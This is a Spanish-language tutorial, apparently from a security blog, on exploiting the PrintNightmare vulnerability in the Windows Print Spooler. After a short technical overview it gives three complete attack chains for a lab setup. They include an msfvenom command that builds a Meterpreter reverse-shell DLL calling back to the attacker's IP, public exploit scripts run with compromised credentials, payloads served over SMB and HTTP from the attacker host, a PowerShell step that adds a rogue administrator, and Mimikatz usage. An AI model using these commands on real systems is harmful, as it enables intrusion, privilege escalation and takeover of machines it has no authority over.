Escalada de Privilegios en Windows: PrintNightmare
Introducción
PrintNightmare es el nombre dado a una vulnerabilidad crítica en el servicio de cola de impresión (spoolsv.exe) de Microsoft Windows, identificada como CVE-2021-34527. Originalmente mal clasificada como una vulnerabilidad de Escalada de Privilegios Local (LPE) bajo CVE-2021-1675, se descubrió más tarde que permitía Ejecución Remota de Código (RCE), lo que aumentó significativamente su gravedad. A pesar de los parches iniciales, el exploit se publicó en línea antes de que los parches fueran completamente efectivos, lo que generó una preocupación generalizada. Este artículo se centra en la escalada de privilegios utilizando la vulnerabilidad del Print Spooler, que ganó una atención significativa en 2021.
.
CVE Relacionados
- CVE-2021-34527
Tipo de Vulnerabilidad: Ejecución Remota de Código
Severidad: Alta
Puntuación CVSS Base: 9.3
Versiones Afectadas: Múltiples versiones de Windows 7, 8.1, 10 y varias versiones de Windows Server. - CVE-2021-1675
Tipo de Vulnerabilidad: Escalada de Privilegios Local
Severidad: Alta
Puntuación CVSS Base: 9.3
Versiones Afectadas: Las mismas que CVE-2021-34527.
Asesoramientos Relacionados:
Tabla de Contenidos
- Fundamentos del Print Spooler
- Resumen de la Vulnerabilidad
- Flujo de la Vulnerabilidad
- IPs de las Máquinas
- Método 1 – RCE de PrintNightmare usando Python
- Método 2 – LPE de PrintNightmare usando PowerShell
- Método 3 – LPE de PrintNightmare usando Mimikatz
- Estado de los Parches
- Conclusión
Fundamentos del Print Spooler
El servicio Print Spooler es un componente crucial del proceso de impresión en Windows, iniciado al arrancar el sistema. A continuación se muestra una visión general de cómo funciona la impresión:
- Aplicación: Inicia un trabajo de impresión al interactuar con la Interfaz de Dispositivo Gráfico (GDI).
- GDI: Proporciona soporte tanto para componentes en modo usuario como en modo kernel.
- winspool.drv: Actúa como la interfaz con el spooler, proporcionando los stubs RPC necesarios.
- spoolsv.exe: Funciona como el servidor API del spooler, dirigiendo los mensajes al proveedor de impresión adecuado.
- spoolss.dll: Determina el proveedor de impresión correcto basado en el nombre de la impresora y reenvía la solicitud en consecuencia.
Resumen de la Vulnerabilidad
El protocolo MS-RPRN (Protocolo Remoto del Sistema de Impresión) tiene un método llamado RpcAddPrinterDriverEx()
que permite a los usuarios con el SeLoadDriverPrivilege
instalar controladores de impresora de manera remota. Típicamente, este privilegio está reservado para administradores. Sin embargo, esta vulnerabilidad permite eludir esta verificación, habilitando la ejecución remota o local de código dependiendo del vector de ataque utilizado.
.
Flujo de la Vulnerabilidad
Para entender cómo se explota esta vulnerabilidad, es esencial comprender los pasos involucrados en RpcAddPrinterDriver
:
- Agregar Controlador de Impresora: El cliente (atacante) inicia una llamada a
RpcAddPrinterDriver
. - Crear Contenedor de Controlador MS-RPRN: El cliente crea un contenedor de controlador con
DRIVER_INFO_2
que contiene rutas a DLLs y otros parámetros necesarios. - Verificación de Seguridad: El sistema verifica si el cliente tiene el
SeLoadDriverPrivilege
. - Eludir la Verificación: El exploit manipula los parámetros para eludir la seguridad, específicamente usando una ruta UNC para
pConfigFile
.
Este proceso permite al atacante cargar una DLL maliciosa, obteniendo acceso no autorizado.
IPs de las Máquinas
- IP del Atacante: 192.168.5.10
- IP de la Víctima: 192.168.5.20
- Credenciales Comprometidas: cyber4hack/123
Método 1 – RCE de PrintNightmare usando Python
Este método demuestra la ejecución remota de código usando Python:
- Crear una DLL Maliciosa:
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.5.10 lport=4444 -f dll -o evil.dll
- Clonar el Repositorio del Exploit:
git clone https://github.com/nemo-wq/PrintNightmare-CVE-2021-34527 cd PrintNightmare-CVE-2021-34527 chmod 777 CVE-2021-34527.py
- Almacenar la DLL Maliciosa en un Servidor Samba:
python3 /usr/share/doc/python3-impacket/examples/smbserver.py share /root
- Lanzar el Exploit RCE:
./CVE-2021-34527.py cyber4hack:123@192.168.5.20 '\\192.168.5.10\share\evil.dll'
Al ejecutarse con éxito, el atacante obtiene acceso de nivel administrador en la máquina víctima.
Método 2 – LPE de PrintNightmare usando PowerShell
Este método cubre la escalada de privilegios local usando PowerShell:
- Clonar el Repositorio:
git clone https://github.com/calebstewart/CVE-2021-1675.git cd CVE-2021-1675
- Subir y Ejecutar el Script de PowerShell:
powershell wget http://192.168.5.10/CVE-2021-1675.ps1 -O \Users\Public\cve.ps1 powershell -ep bypass Import-Module .\cve.ps1 Invoke-Nightmare -NewUser "harsh" -NewPassword "123" -DriverName "PrintMe"
Este script crea un nuevo usuario administrador, escalando efectivamente los privilegios en la máquina comprometida.
Método 3 – LPE de PrintNightmare usando Mimikatz
Mimikatz proporciona otro método para explotar esta vulnerabilidad:
- Descargar y Ejecutar Mimikatz:
python3 -m http.server 80 powershell wget http://192.168.5.10/mimikatz.exe -O \users\Public\mimikatz.exe
- Ejecutar el Exploit de PrintNightmare a través de Mimikatz:
misc::printnightmare /library:\\192.168.5.10\share\evil.dll /authuser:cyber4hack /authpassword:123 /try:50
Este método también lleva a la escalada de privilegios al cargar una DLL maliciosa.
Estado de los Parches
Microsoft ha lanzado parches para abordar esta vulnerabilidad. Se recomienda a los administradores que apliquen estos parches de inmediato, deshabiliten la funcionalidad de Point and Print cuando sea posible y limiten las capacidades de impresión para reducir el riesgo.
Conclusión
PrintNightmare es una vulnerabilidad grave debido a su facilidad de explotación y su impacto potencial. A pesar de los esfuerzos de Microsoft, continúan surgiendo nuevos exploits que apuntan al servicio Print Spooler. Los profesionales de seguridad deben mantenerse vigilantes, asegurando que los sistemas estén actualizados y monitoreando para detectar posibles intentos de explotación.
No hay etiquetas para esta entrada.